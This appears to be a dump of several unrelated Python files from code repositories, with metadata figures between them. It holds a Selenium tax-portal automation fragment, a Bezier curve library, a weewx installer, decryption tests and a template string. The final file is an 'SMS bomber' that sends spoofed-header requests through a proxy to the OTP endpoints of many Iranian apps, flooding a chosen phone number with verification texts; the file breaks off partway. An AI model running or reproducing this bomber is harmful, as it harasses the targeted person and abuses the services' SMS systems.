validade # gerei das driver.implicitly_wait(5) self.find_submit_form() # GERAR DAS else: tk_msg(f'Tente outra opção, linha 550 +-, opc: {option}') def opta_script(self): driver = self.driver try: # #################################################### opta self.get_sub_site('/RegimeApuracao/Optar', self.current_url) # driver.execute_script("""window.location.href += '/RegimeApuracao/Optar'""") anocalendario = Select(driver.find_element_by_id('anocalendario')) anocalendario.select_by_value('2021') self.find_submit_form() # competencia competencia, caixa = '0', '1' driver.find_element_by_css_selector(f"input[type='radio'][value='{competencia}']").click() self.find_submit_form() sleep(2.5) # driver.find_element_by_id('btnSimConfirm').click() try: driver.implicitly_wait(10) self.click_ac_elementors(driver.find_element_by_class_name('glyphicon-save')) except NoSuchElementException: input('Não consegui') else: print('Não fui exceptado') # ######################################################## except NoSuchElementException: pass finally: driver.get(self.current_url) driver.execute_script("""window.location.href += '/declaracao?clear=1'""") sleep(2.5) def the_print(self): len_nome = len(self.socios_now__nome) print(self.empresa_now) print(f'{"CNPJ":<10}{"Nome":>10}{"CPF":>38}{"COTA":>21}{"COTA %":>10}') total_calc = sum(int(v) for v in self.socios_now__cota) for ins in range(len(self.socios_now__cnpj)): soc_cnpj = self.socios_now__cnpj[ins] soc_nome = self.socios_now__nome[ins] soc_cpf = self.socios_now__cpf[ins] soc_cota = self.socios_now__cota[ins] print(f'{soc_cnpj:<16}', end='') print(f'{soc_nome:<{40 - len_nome}}', end='') print(f'{soc_cpf:>9}', end='') print(f'{soc_cota:>10}', end='') cota = int(soc_cota) / total_calc print(' ', cota) print(self.socios_now__tipo) print('-' * 60) print() Defis()

40.097403

134

0.577436

2,139

18,525

4.755493

0.238429

0.023594

0.027133

0.045222

0.312033

0.257275

0.229847

0.186197

0.145989

0.128293

0

0.017665

0.309366

18,525

461

135

40.184382

0.777396

0.095007

0

0.341463

0

0.030488

0.155126

0.0379

0

0.002169

0

1

0.02439

false

0.006098

0.054878

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0.085366

0.073171

0

null

0

null

0

1

0

2b4920cd2300bafcb005d22098eb6361aa94da89

15,125

py

Python

src/Python/Bezier.py

rparak/Bezier_Curve_Simple

06531e17601a52c65aef36c38d61673fee676751

[ "MIT" ]

2

2021-04-09T20:38:57.000Z

2022-01-03T09:19:27.000Z

src/Python/Bezier.py

rparak/Bezier_Curve_Simple

06531e17601a52c65aef36c38d61673fee676751

[ "MIT" ]

null

src/Python/Bezier.py

rparak/Bezier_Curve_Simple

06531e17601a52c65aef36c38d61673fee676751

[ "MIT" ]

null

""" ## =========================================================================== ## MIT License Copyright (c) 2021 Roman Parak Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ## =========================================================================== ## Author : Roman Parak Email : Roman.Parak@outlook.com Github : https://github.com/rparak File Name: Bezier.py ## =========================================================================== ## """ # Numpy (Array computing) [pip3 install numpy] import numpy as np # Support for type hints import typing # Initialization of constants CONST_NUM_OF_ENTRY_POINTS_LINEAR = 2 CONST_NUM_OF_ENTRY_POINTS_QUADRATIC = 3 CONST_NUM_OF_ENTRY_POINTS_CUBIC = 4 # Time t ∈ [0: The starting value of the sequence, # 1: The end value of the sequence] CONST_T_START = 0 CONST_T_STOP = 1 def Linear(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]: """ Description: Given two control points p_{0} and p_{1} we define the linear Bézier curve to be the curve parametrized by: p(t) = (1 - t)*p_{0} + t*p_{1}, t ∈ [0, 1] Args: (1) num_of_samples [INT]: Number of samples to generate. Must be non-negative. (2) points [p_{0, 1}] [Int/Float Matrix]: Multiple points to create a curve. Returns: (1) parameter [Int/Float Matrix]: Resulting points of the curve. Example: res = Linear(num_of_samples, points), where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1]] in 2D space and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1]] in 3D space """ try: assert len(points) == CONST_NUM_OF_ENTRY_POINTS_LINEAR assert(num_of_samples >= 0) # Return evenly spaced numbers over a specified interval. t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples) return [(1 - t) * p[0] + t * p[1] for _, p in enumerate(np.transpose(points))] except AssertionError as error: print('[ERROR] Insufficient number of entry points.') print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_LINEAR) print('[ERROR] The number of samples must not be negative.') def Quadratic(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]: """ Description: Given three control points p_{0}, p_{1} and p_{2} we define the quadratic Bézier curve (degree 2 Bézier curve) to be the curve parametrized by: p(t) = ((1 - t)^2)*p_{0} + 2*t*(1 - t)*p_{1} + (t^2)*p_{2}, t ∈ [0, 1] Args: (1) num_of_samples [INT]: Number of samples to generate. Must be non-negative. (2) points [p_{0, 1, 2}] [Int/Float Matrix]: Multiple points to create a curve. Returns: (1) parameter [Int/Float Matrix]: Resulting points of the curve. Example: res = Quadratic(t, p), where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1], [px_id_2, py_id_2]] in 2D space and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1], [px_id_2, py_id_2, pz_id_2]] in 3D space """ try: assert len(points) == CONST_NUM_OF_ENTRY_POINTS_QUADRATIC assert(num_of_samples >= 0) # Return evenly spaced numbers over a specified interval. t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples) return [(1 - t)**2 * p[0] + 2 * t * (1 - t) * p[1] + t**2 * p[2] for _, p in enumerate(np.transpose(points))] except AssertionError as error: print('[ERROR] Insufficient number of entry points.') print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_QUADRATIC) print('[ERROR] The number of samples must not be negative.') def Cubic(num_of_samples: typing.Union[int], points: typing.Union[typing.List[int], typing.List[float]]) -> typing.Union[typing.List[int], typing.List[float]]: """ Description: Given four control points p_{0}, p_{1}, p_{2} and p_{3} we define the cubic Bézier curve (degree 3 Bézier curve) to be the curve parametrized by: p(t) = ((1 - t)^3)*p_{0} + 3*t*((1 - t)^2)*p_{1} + (3*t^2)*(1 - t)*p_{2} + (t^3) * p_{3}, t ∈ [0, 1] Args: (1) num_of_samples [INT]: Number of samples to generate. Must be non-negative. (2) points [p_{0, 1, 2, 3}] [Int/Float Matrix]: Multiple points to create a curve. Returns: (1) parameter [Int/Float Matrix]: Resulting points of the curve. Example: res = Cubic(t, p), where points are equal to [[px_id_0, py_id_0], [px_id_1, py_id_1], [px_id_2, py_id_2], [px_id_3, py_id_3]] in 2D space and [[px_id_0, py_id_0, pz_id_0], [px_id_1, py_id_1, pz_id_1], [px_id_2, py_id_2, pz_id_2], [px_id_3, py_id_3, pz_id_2]] in 3D space """ try: assert len(points) == CONST_NUM_OF_ENTRY_POINTS_CUBIC assert(num_of_samples >= 0) # Return evenly spaced numbers over a specified interval. t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples) return [((1 - t)**3) * (p[0]) + (3 * t * (1 - t)**2) * (p[1]) + 3 * (t**2) * (1 - t) * p[2] + (t**3) * p[3] for _, p in enumerate(np.transpose(points))] except AssertionError as error: print('[ERROR] Insufficient number of entry points.') print('[ERROR] The correct number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_CUBIC) print('[ERROR] The number of samples must not be negative.') class N_Degree(object): """ Description: Class for efficient solution of N-degree Bézier curve. Note: A Bézier curve is a parametric curve used in computer graphics and related fields. Initialization of the Class: Input: (1) num_of_samples [INT]: Number of samples to generate. Must be non-negative. Example: Initialization: Cls = N_Degree(num_of_samples) Calculation: res = Cls.Solve(p, simplification_factor) where p is equal to [[px_id_0, py_id_0], .., [px_id_n, py_id_n]] in 2D space and [[px_id_0, py_id_0, pz_id_0], .., [px_id_n, py_id_n, pz_id_n]] in 3D space """ def __init__(self, num_of_samples: typing.Union[int]) -> None: # << PUBLIC >> # try: assert(num_of_samples >= 0) # Return evenly spaced numbers over a specified interval. self.t = np.linspace(CONST_T_START, CONST_T_STOP, num_of_samples) except AssertionError as error: print('[ERROR] The number of samples must not be negative.') # << PRIVATE >> # # Points [Float Matrix] self.__points = [] # Number of samples to generate self.__num_of_samples = num_of_samples @staticmethod def __path_simplification(points, simplification_factor): """ Description: Function to simplify the path through the simplification factor. The first and end points do not change, the others depend on the factor coefficient. Example: Input Points: points = [1.0, 1.0], [1.25, 2.0], [1.75, 2.0], [2.0, 1.0], [1.0, -1.0], [1.25, -2.0], [1.75, -2.0], [2.0, -1.0] Number of points: n = 8 Simplification Factor: 1\ Example: simplification_factor = 1 points_new = [1.0, 1.0], [1.25, 2.0], [1.75, 2.0], [2.0, 1.0], [1.0, -1.0], [1.25, -2.0], [1.75, -2.0], [2.0, -1.0] n = 8 2\ Example: simplification_factor = 2 points_new = [1.0, 1.0], [None], [1.75, 2.0], [None], [1.0, -1.0], [None], [1.75, -2.0], [2.0, -1.0] points_new = [1.0, 1.0], [1.75, 2.0], [1.0, -1.0], [1.75, -2.0], [2.0, -1.0] n = 5 Args: (1) points [p_{0, .., n}] [Int/Float Matrix]: Multiple points to create a curve. (2) simplification_factor [INT]: Simplification factor for the simplify the path. Returns: (1) parameter [Int/Float Matrix]: New simplified matrix of points to create a curve. """ points_aux = [] points_aux.append(points[0]) for i in range(1, len(points) - 1): if i % simplification_factor == 0: points_aux.append(points[i]) if points_aux[-1] != points[-1]: points_aux.append(points[-1]) return points_aux @staticmethod def __binomial_coefficient(n, k): """ Description: Calculation binomial coofecient C, from pair of integers n ≥ k ≥ 0 and is written (n k). The binomial coefficients are the positive integers that occur as coefficients in the binomial theorem. (n k) = n! / (k! * (n - k)!) ... Simplification of the calculation: (n k) = ((n - k + 1) * (n - k + 2) * ... * (n - 1) * (n)) / (1 * 2 * ... * (k - 1) * k) Args: (1) n [INT]: Integer number 1 (numerator) (2) k [INT]: Integer number 2 (denumerator) Returns: (1) parameter [INT]: Binomial coofecient C(n k). """ try: assert(n >= k) if k == 0: return 1 elif k == 1: return n else: c_nk = 1 # Calculation from the simplification equation for i in range(0, k): c_nk *= (n - i) # numerator c_nk /= (i + 1) # denumerator return c_nk except AssertionError as error: print('[ERROR] The number n must be larger than or equal to k.') return 0 def __n_index_curve(self, i, point, n, c_ni): """ Description: Given n + 1 control points p_{0}, p_{1},..., p_{n} we define the degree n Bezier curve to be the curve parametrized by (De Casteljau's algorithm): p(t) = sum(i = 0 -> n) (C(n i)) * (t ^ i) * ((1 - t) ^ (n - i)) * p_{i}, t ∈ [0, 1] where C(n i) is a binomial coefficient. Args: (1) i [INT]: Iteration. (2) point [Int/Float Matrix]: Point (2D/3D) in interation (i). (3) n [INT]: Number of points. (4) c_ni [INT]: Binomial coofecient C(n i) in iteration (i). Returns: (1) parameter [Int/Float Matrix]: Results of curve values in iteration (i). """ return [c_ni * (self.t**i) * ((1 - self.t)**(n - i)) * p for _, p in enumerate(point)] def __n_degree(self): """ Description: The main control function for creating a Bézier curve of degree n. Returns: (1) parameter [{0 .. Number of dimensions - 1}] [Int/Float Matrix]: Resulting points of the curve. """ # Number of points in the matrix n = len(self.__points) - 1 # Calculation of binomial cooficient of the first iteration c_nk = self.__binomial_coefficient(n, 0) # Calculation of the first curve positions result = self.__n_index_curve(0, self.__points[0], n, c_nk) for i in range(1, n + 1): # Binomial cooficient in interation (i) c_ni = self.__binomial_coefficient(n, i) # Calculation positions in iteration (i) aux_result = self.__n_index_curve(i, self.__points[i], n, c_ni) # The sum of all positions for the resulting Bézier curve for j in range(0, len(aux_result)): result[j] += aux_result[j] return result def Solve(self, points: typing.Union[typing.List[int], typing.List[float]], simplification_factor: typing.Union[int]) -> typing.Union[typing.List[int], typing.List[float]]: """ Description: Function for automatic calculation of a suitably selected Bézier curve. Args: (1) points [p_{0, .., n}] [Int/Float Matrix]: Multiple points to create a curve. (2) simplification_factor [INT]: Simplification factor for the simplify the path. Return: (1) parameter [Int/Float Matrix]: Resulting points of the curve. """ try: assert len(points) > 1 # If the number of input points is greater than 4 and variable simplification_factor > 1, the program chooses the n_points calculation method. But if the simplification # coefficient is greater than or equal to 1, the program can choose another method and the principle of calculation will be faster. if simplification_factor > 1 and len(points) > 4: # If the coefficient coefficient is greater than 1, simplify the path self.__points = self.__path_simplification(points, simplification_factor) else: self.__points = points # Selects the calculation method based on the number of points in the matrix (p). if len(self.__points) > 4: return self.__n_degree() if len(self.__points) == 4: return Cubic(self.__num_of_samples, self.__points) elif len(self.__points) == 3: return Quadratic(self.__num_of_samples, self.__points) elif len(self.__points) == 2: return Linear(self.__num_of_samples, self.__points) except AssertionError as error: print('[ERROR] Insufficient number of entry points.') print('[ERROR] The minimum number of entry points is %d.' % CONST_NUM_OF_ENTRY_POINTS_LINEAR)

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null

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null

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2b4a35412c05702e2d3412785226759c63a9cac5

1,175

py

Python

dist/weewx-4.5.1/examples/basic/install.py

v0rts/docker-weewx

70b2f252051dfead4fcb74e74662b297831e6342

[ "Apache-2.0" ]

10

2017-01-05T17:30:48.000Z

2021-09-18T15:04:20.000Z

dist/weewx-4.5.1/examples/basic/install.py

v0rts/docker-weewx

70b2f252051dfead4fcb74e74662b297831e6342

[ "Apache-2.0" ]

2

2019-07-21T10:48:42.000Z

2022-02-16T20:36:45.000Z

dist/weewx-4.5.1/examples/basic/install.py

v0rts/docker-weewx

70b2f252051dfead4fcb74e74662b297831e6342

[ "Apache-2.0" ]

12

2017-01-05T18:50:30.000Z

2021-10-05T07:35:45.000Z

# installer for the 'basic' skin # Copyright 2014 Matthew Wall from weecfg.extension import ExtensionInstaller def loader(): return BasicInstaller() class BasicInstaller(ExtensionInstaller): def __init__(self): super(BasicInstaller, self).__init__( version="0.1", name='basic', description='Very basic skin for weewx.', author="Matthew Wall", author_email="mwall@users.sourceforge.net", config={ 'StdReport': { 'basic': { 'skin': 'basic', 'HTML_ROOT': 'basic', 'Extras': { 'current': 'INST_SKIN_ROOT/basic/current.inc', 'hilo': 'INST_SKIN_ROOT/basic/hilo.inc'}}}}, files=[('skins/basic', ['skins/basic/basic.css', 'skins/basic/current.inc', 'skins/basic/favicon.ico', 'skins/basic/hilo.inc', 'skins/basic/index.html.tmpl', 'skins/basic/skin.conf']), ] )

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0.008633

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null

0

null

0

1

0

2b4a876ac0b876943151201b66e9e6e75e65f68a

4,953

py

Python

tests/features/test_decryption.py

ratschlab/tools-project-archives

a42ef1d3d60b24ff39ce5aa73a8fb332b4f25056

[ "MIT" ]

1

2021-12-02T15:13:47.000Z

tests/features/test_decryption.py

ratschlab/tools-project-archives

a42ef1d3d60b24ff39ce5aa73a8fb332b4f25056

[ "MIT" ]

null

tests/features/test_decryption.py

ratschlab/tools-project-archives

a42ef1d3d60b24ff39ce5aa73a8fb332b4f25056

[ "MIT" ]

null

import os import shutil import re import pytest from archiver.extract import decrypt_existing_archive from archiver.helpers import get_absolute_path_string from .archiving_helpers import assert_successful_archive_creation, assert_successful_action_to_destination, add_prefix_to_list_elements, compare_listing_files, valid_md5_hash_in_file, compare_text_file_ignoring_order, compare_hash_files from tests import helpers ENCRYPTION_PUBLIC_KEY_A = "public.gpg" ENCRYPTION_PUBLIC_KEY_B = "public_second.pub" def test_decrypt_regular_archive(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") copied_archive_path = tmp_path / folder_name shutil.copytree(archive_path, copied_archive_path) decrypt_existing_archive(copied_archive_path) assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all") def test_decrypt_regular_archive_remove_unencrypted(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") copied_archive_path = tmp_path / folder_name shutil.copytree(archive_path, copied_archive_path) decrypt_existing_archive(copied_archive_path, remove_unencrypted=True) assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="hash", unencrypted="all") def test_decrypt_regular_archive_to_destination(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") destination_path = tmp_path / folder_name decrypt_existing_archive(archive_path, destination_path) assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False) def test_decrypt_regular_archive_error_existing(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") destination_path = tmp_path / folder_name destination_path.mkdir() with pytest.raises(SystemExit) as error: decrypt_existing_archive(archive_path, destination_path) assert error.type == SystemExit def test_decrypt_regular_archive_force_override_existing(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") destination_path = tmp_path / folder_name destination_path.mkdir() decrypt_existing_archive(archive_path, destination_path, force=True) assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False) def test_decrypt_regular_file(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") copied_archive_path = tmp_path / folder_name archive_file = copied_archive_path / f"{folder_name}.tar.lz.gpg" shutil.copytree(archive_path, copied_archive_path) decrypt_existing_archive(archive_file) assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all") def test_decrypt_regular_file_to_destination(tmp_path, setup_gpg): folder_name = "test-folder" archive_path = helpers.get_directory_with_name("encrypted-archive") archive_file = archive_path / f"{folder_name}.tar.lz.gpg" destination_path = tmp_path / folder_name decrypt_existing_archive(archive_file, destination_path) assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False) def test_decrypt_archive_split(tmp_path, setup_gpg): folder_name = "large-folder" archive_path = helpers.get_directory_with_name("split-encrypted-archive") copied_archive_path = tmp_path / folder_name shutil.copytree(archive_path, copied_archive_path) decrypt_existing_archive(copied_archive_path) assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="all", unencrypted="all", split=3) def test_decrypt_archive_split_remove_unencrypted(tmp_path, setup_gpg): folder_name = "large-folder" archive_path = helpers.get_directory_with_name("split-encrypted-archive") copied_archive_path = tmp_path / folder_name shutil.copytree(archive_path, copied_archive_path) decrypt_existing_archive(copied_archive_path, remove_unencrypted=True) assert_successful_archive_creation(copied_archive_path, archive_path, folder_name, encrypted="hash", unencrypted="all", split=3) def test_decrypt_archive_split_to_destination(tmp_path): folder_name = "large-folder" archive_path = helpers.get_directory_with_name("split-encrypted-archive") destination_path = tmp_path / folder_name decrypt_existing_archive(archive_path, destination_path) assert_successful_action_to_destination(destination_path, archive_path, folder_name, encrypted=False, split=3)

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null

0

1

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null

0

6

2b4b5ab3945168fc3e2cef39dd3c30ec01ea875a

116

py

Python

src/Neighbor/TreeNeighborInst.cc.py

markguozhiming/spheral

bbb982102e61edb8a1d00cf780bfa571835e1b61

[ "BSD-Source-Code", "BSD-3-Clause-LBNL", "FSFAP" ]

1

2020-10-21T01:56:55.000Z

src/Neighbor/TreeNeighborInst.cc.py

markguozhiming/spheral

bbb982102e61edb8a1d00cf780bfa571835e1b61

[ "BSD-Source-Code", "BSD-3-Clause-LBNL", "FSFAP" ]

null

src/Neighbor/TreeNeighborInst.cc.py

markguozhiming/spheral

bbb982102e61edb8a1d00cf780bfa571835e1b61

[ "BSD-Source-Code", "BSD-3-Clause-LBNL", "FSFAP" ]

null

text = """ #include "TreeNeighbor.cc" namespace Spheral { template class TreeNeighbor< Dim< %(ndim)s > >; } """

12.888889

49

0.637931

12

116

6.166667

0.916667

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0.181034

116

8

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14.5

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0.87931

0

1

0

false

0

1

0

null

0

1

0

1

0

null

0

3

2b4bd98e0c177ca5b3a4dad706f295999dd8004f

10,469

py

Python

sms_bomber.py

mrdictawt0r/sms-bomber-iran

89b43059d7f9e80ec8bb625107376625dbecc3ae

[ "Unlicense" ]

null

sms_bomber.py

mrdictawt0r/sms-bomber-iran

89b43059d7f9e80ec8bb625107376625dbecc3ae

[ "Unlicense" ]

null

sms_bomber.py

mrdictawt0r/sms-bomber-iran

89b43059d7f9e80ec8bb625107376625dbecc3ae

[ "Unlicense" ]

null

#dictawtor #t.me/dictawt0r import os import time import requests from threading import Thread proxy = {"https": "127.0.0.1:8000"} def snap(phone): #snap api snapH = {"Host": "app.snapp.taxi", "content-length": "29", "x-app-name": "passenger-pwa", "x-app-version": "5.0.0", "app-version": "pwa", "user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36", "content-type": "application/json", "accept": "*/*", "origin": "https://app.snapp.taxi", "sec-fetch-site": "same-origin", "sec-fetch-mode": "cors", "sec-fetch-dest": "empty", "referer": "https://app.snapp.taxi/login/?redirect_to\u003d%2F", "accept-encoding": "gzip, deflate, br", "accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6", "cookie": "_gat\u003d1"} snapD = {"cellphone":phone} try: snapR = requests.post("https://app.snapp.taxi/api/api-passenger-oauth/v2/otp", headers=snapH, json=snapD, proxies=proxy) if "OK" in snapR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def shad(phone): #shad api shadH = {"Host": "shadmessenger12.iranlms.ir","content-length": "96","accept": "application/json, text/plain, */*","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "text/plain","origin": "https://shadweb.iranlms.ir","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://shadweb.iranlms.ir/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"} shadD = {"api_version":"3","method":"sendCode","data":{"phone_number":phone.split("+")[1],"send_type":"SMS"}} try: shadR = requests.post("https://shadmessenger12.iranlms.ir/", headers=shadH, json=shadD, proxies=proxy) if "OK" in shadR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def gap(phone): #gap api gapH = {"Host": "core.gap.im","accept": "application/json, text/plain, */*","x-version": "4.5.7","accept-language": "fa","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","appversion": "web","origin": "https://web.gap.im","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://web.gap.im/","accept-encoding": "gzip, deflate, br"} try: gapR = requests.get("https://core.gap.im/v1/user/add.json?mobile=%2B{}".format(phone.split("+")[1]), headers=gapH, proxies=proxy) if "OK" in gapR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def tap30(phone): #tap30 api tap30H = {"Host": "tap33.me","Connection": "keep-alive","Content-Length": "63","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "application/json","Accept": "*/*","Origin": "https://app.tapsi.cab","Sec-Fetch-Site": "cross-site","Sec-Fetch-Mode": "cors","Sec-Fetch-Dest": "empty","Referer": "https://app.tapsi.cab/","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"} tap30D = {"credential":{"phoneNumber":"0"+phone.split("+98")[1],"role":"PASSENGER"}} try: tap30R = requests.post("https://tap33.me/api/v2/user", headers=tap30H, json=tap30D, proxies=proxy) if "OK" in tap30R.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def emtiaz(phone): #emtiaz api emH = {"Host": "web.emtiyaz.app","Connection": "keep-alive","Content-Length": "28","Cache-Control": "max-age\u003d0","Upgrade-Insecure-Requests": "1","Origin": "https://web.emtiyaz.app","Content-Type": "application/x-www-form-urlencoded","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q\u003d0.9,image/webp,image/apng,*/*;q\u003d0.8,application/signed-exchange;v\u003db3;q\u003d0.9","Sec-Fetch-Site": "same-origin","Sec-Fetch-Mode": "navigate","Sec-Fetch-User": "?1","Sec-Fetch-Dest": "document","Referer": "https://web.emtiyaz.app/login","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","Cookie": "__cfduid\u003dd3744e2448268f90a1ea5a4016884f7331596404726; __auc\u003dd86ede5a173b122fb752f98d012; _ga\u003dGA1.2.719537155.1596404727; __asc\u003d7857da15173c7c2e3123fd4c586; _gid\u003dGA1.2.941061447.1596784306; _gat_gtag_UA_124185794_1\u003d1"} emD = "send=1&cellphone=0"+phone.split("+98")[1] try: emR = requests.post("https://web.emtiyaz.app/json/login", headers=emH, data=emD, proxies=proxy) print ("sended sms:)") except: print ("Error!") def divar(phone): #divar api divarH = {"Host": "api.divar.ir","Connection": "keep-alive","Content-Length": "22","Accept": "application/json, text/plain, */*","User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Origin": "https://divar.ir","Sec-Fetch-Site": "same-site","Sec-Fetch-Mode": "cors","Sec-Fetch-Dest": "empty","Referer": "https://divar.ir/my-divar/my-posts","Accept-Encoding": "gzip, deflate, br","Accept-Language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"} divarD = {"phone":phone.split("+98")[1]} try: divarR = requests.post("https://api.divar.ir/v5/auth/authenticate", headers=divarH, json=divarD, proxies=proxy) if "SENT" in divarR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def rubika(phone): #rubika api ruH = {"Host": "messengerg2c4.iranlms.ir","content-length": "96","accept": "application/json, text/plain, */*","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","content-type": "text/plain","origin": "https://web.rubika.ir","sec-fetch-site": "cross-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://web.rubika.ir/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6"} ruD = {"api_version":"3","method":"sendCode","data":{"phone_number":phone.split("+")[1],"send_type":"SMS"}} try: ruR = requests.post("https://messengerg2c4.iranlms.ir/", headers=ruH, json=ruD, proxies=proxy) if "OK" in ruR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def torob(phone): #torob api torobH = {"Host": "api.torob.com","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","accept": "*/*","origin": "https://torob.com","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://torob.com/user/","accept-encoding": "gzip, deflate, br","accept-language": "fa-IR,fa;q\u003d0.9,en-GB;q\u003d0.8,en;q\u003d0.7,en-US;q\u003d0.6","cookie": "amplitude_id_95d1eb61107c6d4a0a5c555e4ee4bfbbtorob.com\u003deyJkZXZpY2VJZCI6ImFiOGNiOTUyLTk1MTgtNDhhNS1iNmRjLTkwZjgxZTFjYmM3ZVIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTU5Njg2OTI4ODM1MSwibGFzdEV2ZW50VGltZSI6MTU5Njg2OTI4ODM3NCwiZXZlbnRJZCI6MSwiaWRlbnRpZnlJZCI6Miwic2VxdWVuY2VOdW1iZXIiOjN9"} try: torobR = requests.get("https://api.torob.com/a/phone/send-pin/?phone_number=0"+phone.split("+98")[1], headers=torobH, proxies=proxy) if "sent" in torobR.text: print ("sended sms:)") else: print ("Error!") except: print ("Error!") def bama(phone): #bama api bamaH = {"Host": "bama.ir","content-length": "22","accept": "application/json, text/javascript, */*; q\u003d0.01","x-requested-with": "XMLHttpRequest","user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G950F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.111 Mobile Safari/537.36","csrf-token-bama-header": "CfDJ8N00ikLDmFVBoTe5ae5U4a2G6aNtBFk_sA0DBuQq8RmtGVSLQEq3CXeJmb0ervkK5xY2355oMxH2UDv5oU05FCu56FVkLdgE6RbDs1ojMo90XlbiGYT9XaIKz7YkZg-8vJSuc7f3PR3VKjvuu1fEIOE","content-type": "application/x-www-form-urlencoded; charset\u003dUTF-8","origin": "https://bama.ir","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": 